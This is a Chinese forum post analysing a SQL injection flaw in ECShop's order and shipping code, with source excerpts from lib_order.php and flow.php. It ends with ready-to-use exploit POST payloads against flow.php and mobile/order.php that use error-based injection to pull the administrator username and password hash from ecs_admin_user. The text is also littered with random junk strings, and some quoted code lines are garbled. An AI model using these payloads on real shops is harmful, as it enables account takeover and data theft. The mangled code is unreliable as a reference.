找回密码
 立即注册
查看: 2837|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
* p0 W' {; g9 {6 P9 M3 _+ l
2 f  X1 ^0 [; z+ g% y    漏洞关键文件:, X. ~' i: D3 B

' |! r9 U/ p4 o; U    /includes/lib_order.php& g5 X: w2 c! l* a: O" i

) j- M) t6 w* ]" g/ ?; F2 U    关键函数:
, s- Z+ U" u! X# O' N. `0 }  n3 p" Q; K  B. B

# X' Y' c" d7 e& ^" j6 z9 ?. \% F: c# `+ ^
01     function available_shipping_list($region_id_list) 7 c8 L8 A- J& U! _; Z
7 R- p: K/ X: O' u! V( c7 I+ E
02 {
* l$ S/ m4 ~# K/ Y
0 [' {: G' D7 }3 Y03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . % T; b7 @  `$ `
, ?7 U7 J9 t6 k( }  C! g/ e% ]2 y
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
4 f4 Z* ~4 q8 p) n7 o6 g( H, Y( V1 I, y8 }2 a, _8 F- }
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
; w( y/ x+ ^' T$ u, K: L. s$ z9 U  f8 e. @6 i+ f& Z# @
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
7 z  \; R- w/ h. Q: H) c' b$ A. M, v. Z5 }, V( U
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. + G! ?+ s# I+ K' v1 D
. S: K- A. @0 x3 r: I
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 0 i5 s% A$ Z  d
' E: o! T0 H9 ?! A( E2 Q1 U+ ^
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 3 c/ i6 G8 u* t

  a" Q5 z) e! R; `10   
% I( n1 A4 [2 k' y- L% G6 C9 ^
" T# W! W: b" B- d4 J11     return $GLOBALS['db']->getAll($sql);
, |3 _- C- ~) q; L: F- Z% r  D  g  W& a, m" A5 Q4 z
12 }
* Z& V# |! R, p  P1 m- @$ P' U$ K" [& N6 F" o8 ^; p
显然对传入的参数没有任何过滤就带入了查询语句。
1 z/ v2 Q4 R% ~" M# h- g/ H. @; M) y  D $ X! N! i; \) `' Z9 w
下面我们追踪这个函数在flow.php中:
  Y" Z* X( y% P7 u6 g0 W) P) f$ y* a 第531行:   4 E- e' P. I2 R$ }# e% n
# T2 V& e# `/ A5 r
1 $shipping_list     = available_shipping_list($region);
* A0 u, C/ m) |0 d8 d/ }5 v
; D6 t' D/ m: h+ C 3 m% z8 v& i7 U/ |

7 W$ o; w* f: w: C) \ " Q" @) T5 I5 ]  p
: [# s+ s( B4 V, A! {
再对传入变量进行追踪:
4 F7 ?4 C! Y. y: o, u
" d. K/ W& Z# i! j第530行:    % s" ~5 Q4 D* B' z1 h# o; r) S

7 W6 |/ T, M9 k* d1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); * u! g# ^4 G" K+ G" e' ^5 H* C

& C6 m) d! E. C( a+ k1 t0 Z 0 U) N5 j9 |1 H- D" m

2 A. a5 P1 I  |% l) F" k5 ^( o3 D
/ e" Q: E$ h, m+ X% e( R% t! ^7 }5 k
第473行:        
7 T; x; L8 w3 r5 k0 v5 U  R1 f  b
. U$ e/ A! S  }  K1 $consignee = get_consignee($_SESSION['user_id']);
0 h7 E! M/ v: q2 F6 n1 ~/ R9 ~& g2 y: U0 r& J; @9 l/ q( e
到了一个关键函数:
4 J+ b4 x3 \8 r  L' ~& T( m
) {  n1 r% P* ]$ Q6 S5 B/includes/lib_order.php
- f+ e) m% K8 d9 J+ k' f. n  S0 L& O1 d0 ]  D
) _" ?! r8 U; N7 l, `; O

; D. n# q5 @, x8 ~/ h# F
) Y2 v& |! E' i/ b0 V+ M
9 `( Q7 F+ k9 Y! Z01 function get_consignee($user_id) 6 @& {1 X7 @* h4 q2 \) `0 E( T
, O; z& V7 A/ @" \: W4 C0 @1 N
02 { 7 l1 a* i4 x; S6 u& H" ~# H

! {4 D* r) P- o8 M03     if (isset($_SESSION['flow_consignee'])) ' L$ B. C) ~5 t/ U$ @& s4 a& x

5 x& V& }$ u! Z) W1 B04     {
( ~# q6 e/ X" i4 s, I2 h- A" O* A* p: j6 A/ ]2 y5 E; @4 c
05         /* 如果存在session,则直接返回session中的收货人信息 */   A0 G* C# J3 t! C
# ]' V+ q5 G0 e% V
06   4 E& S% N. e+ n. b- b

4 P$ i/ o9 {" l1 p' O* l) d/ ?+ l07         return $_SESSION['flow_consignee']; 7 k1 s. d* _: Q5 M
" K$ t# |2 c3 f3 w' N2 F5 K
08     } , Z3 Q# z+ ?5 t+ h; e* M
1 E8 U; C# m) `- _& X' f
09     else
. [# _5 H' Q7 N& F
+ v$ G9 q  \$ ^10     { / O# u4 T, e% ]! b7 W

1 ^+ H; e4 z# j7 e" ^; o1 X/ l" p11         /* 如果不存在,则取得用户的默认收货人信息 */
9 n1 Y, S6 A! V; {  O% h
% F* \% e1 H) B6 F6 ~; u12         $arr = array();
/ p9 t' r  n) Z7 X2 G: {8 u
. T$ I5 w* k2 @- |( Y, y" N13   
; I- f& I! _# @# E1 D* s2 C! a1 a* }0 G8 B) J+ k2 o9 K: ~
14         if ($user_id > 0) , A! g9 b- n1 U
) C+ q, t/ c2 V7 ?' i3 w$ f
15         { 1 ^- S0 g1 k  O  ^0 k1 o- p$ R
4 t  ]: B, K4 j7 e2 Q) U$ z
16             /* 取默认地址 */ + v. H# e. `4 Y# x5 B, r3 x& C( z
5 |- T1 N+ ]$ {' T
17             $sql = "SELECT ua.*". * q  Y+ l9 [& M) f, A
' H7 a: I) |! A7 S, D3 N2 \
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. r, N0 e+ s% w/ ]; ]6 c4 X3 h5 c4 V
* W$ {( j9 P3 V/ T: C5 R19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 L! E* q! T; {# |
8 ^# U. w% [1 g; y! p& c+ k* Q
20   
% f( y2 k1 c5 u* u: R6 I
6 L+ j$ x5 h" V21             $arr = $GLOBALS['db']->getRow($sql);
/ O& G7 q# ?0 n5 X
5 w2 V6 c5 v0 x" ]' T7 |22         } ( ~4 G; O) A3 x- p
; t* {! ^1 U+ I3 h
23   5 A5 ^) w0 f% g4 s$ X- e7 u

6 D$ q: O9 T! {$ n  r1 v24         return $arr;
5 J  D( ~' K7 Z! e2 M$ n
  y) Y8 k& D  S+ g! ~25     } : |+ z, V- a, C. ^% D8 X8 X- {0 T

' t; ^) g- v  [0 T4 m6 N1 [  i( Y26 }
+ C" g& I/ |# u! a
& k; E1 s7 W: K3 |, E8 K9 E* p( V显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
9 Y/ O9 ]  W: G7 j1 d6 E8 r' l. Q0 ?! W" n2 {

$ g2 x. b/ q* _- k; r8 Z5 N4 j
! U3 \$ p: a$ [& @5 d; O) P关键点:6 N" `# U/ |6 A  n
) r: k4 k- ?- ~! w  f
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);' D$ t6 s& t: D
, O+ R& X& F! i
这里对传入参数反转义存入$_SESSION中。
5 v. C! Y2 z  ~0 F$ N  r0 S& g: Q2 D4 c3 O2 S5 s' L& S' c

6 w9 Q3 z/ o* g, s0 b1 j- S' e" x$ ~$ ^
然后看下:+ S+ f$ D4 s6 u% I

, ~5 [# e& ~& g) v- `, K; z3 D * _0 o. V* i) n& z4 y
' K" @; o! W! C0 u7 J; h* a
   
. o: Y& @. y" w! `6 i. z/ H; |
6 V. q2 ^5 ?& J; y01 $consignee = array( * ]- T' \. t. P% `( ~2 K6 N6 x4 W/ h2 F

; r1 x* [  l( [. x0 ~$ t02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
2 d+ W+ n+ S) m1 y* X; B% y8 K6 Y8 O4 J  l
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
! n% w% C$ C* c: i; t, X
# S6 c) L( S4 `- @9 e6 C. S" X04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
+ h9 a  f( F) Y1 f' [6 g# O( K2 A8 m" ?. m: B4 V/ R
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
& w& b0 }+ Q9 g& j7 P7 M. d% w  C+ S  I0 w2 S) O
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 n+ {4 M$ ?* F* g1 x4 c8 D0 C, \# `5 s
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
+ ?% A8 R' f" u1 p. G& ~; E: _0 d
; F( v) ^, k* R& v0 D' R08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
- v! E0 ?/ m0 o- u4 P7 r/ b8 t% H% F  J8 v
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
2 J) ~; ^3 t6 @; l; ?& u1 A0 ]' g. D6 J0 T9 q
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
3 I9 o. w$ ]! D( b* z- G. w
! f1 p' \0 X. f( k, ?4 ~6 ~11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),   _( V" F% k3 d4 n

, h" ^: V. e% C12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 4 Y) |# P! {- x" i  i# ~: c

7 `. O9 c2 l% ~) P' w2 u5 S7 D6 u13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ; E2 J7 q: g9 j, Z: E

4 z/ B7 x* p) h9 w8 K* o14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], & [; A" q/ k0 z! c# Y

7 K+ u/ U, c7 X/ |, q8 ^15     );
8 }& a- U0 ^! b1 z$ k. Z5 r
: N  K' X- E- R/ F好了注入就这样出现了。
* S7 e' t) v( c& Q$ I9 |$ x7 M4 p5 x4 k- z
==================
/ f1 ]+ A: v# z( J+ g! @) m$ q; n7 d' G# W) C
注入测试:
7 m: P6 F$ j- l/ p& z" Y, C- \
& O+ |6 {4 g6 @. k环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, d6 R; x2 B7 ]/ \0 w- f
. i! ~% L, [' x* c( Z7 z9 B8 J测试程序:ECShop_V2.7.3_UTF8_release1106
* [1 W2 P1 V! z; _4 Q: f; _+ T' M* W6 M) e0 Q3 a9 Y  y

% D  G4 l2 s" G1 v2 T; {
6 G; i2 z$ _2 k: _1.首先需要点击一个商品加入购物车
, D; g! R8 W" u8 p! T6 G9 y% w% C7 a5 [0 f2 R
2.注册一个会员帐号
4 {$ r7 t0 q5 U8 C- W
- M% h/ ]2 y4 }- X! p3.post提交数据
3 i8 Z* s% Z) K5 e  A$ S" q( h- ?' w: @' a; |/ B4 ]: _

$ I5 C% F0 H0 p) P2 l8 O! [3 X5 c9 O
1 http://127.0.0.1/ecshop/flow.php 3 l0 W/ |2 N  N  b( e

% a& j; J# Y: h4 w2   ; O- }% p# \6 N- H9 h0 H
. b. T( O6 A( a
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ' f2 b) E4 @5 }# e+ |
举一反三,我们根据这个漏洞我们可以继续深入挖掘:& k+ Z2 v1 \, w$ U9 `

) [/ z+ g4 }2 Z我们搜寻关键函数function available_shipping_list()
) d5 X6 n/ Y$ ~9 o- b% c8 ^# Q4 G4 z, S) n, f* E
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同8 d9 h, ~* y0 s  n; x" J! m& U
$ q- f; N% t" _  ~' F; P! A, t. h
利用exp:
0 O5 j4 `6 S# s' ^  j
2 n# Q( u1 d& r/ h1.点击一个商品,点击购买商标4 k1 b0 U$ U0 e* j

8 ?- ^- w( k& e! f6 b7 q3 ]2.登录会员帐号
' J6 M! s" L" H; N' ?* t5 w
' _5 ~7 R( h# A$ I6 m3.post提交:% \4 ^3 c7 j" I! c) e
3 F( y' s$ t) p% a
http://127.0.0.1/ecshop/mobile/order.php
+ O* s1 R, C0 _3 E9 p
2 S3 R7 Q6 m5 f5 \! ^, q& t 6 n( K7 G& r' v5 C0 K- d

( ?% ?' m1 D: i8 f2 z6 O5 r/ Y7 ?country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 J+ S5 ]: L# Y0 F. Q2 d" Q4 |3 M4 o
5 c( |6 m' w% H" `/ q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表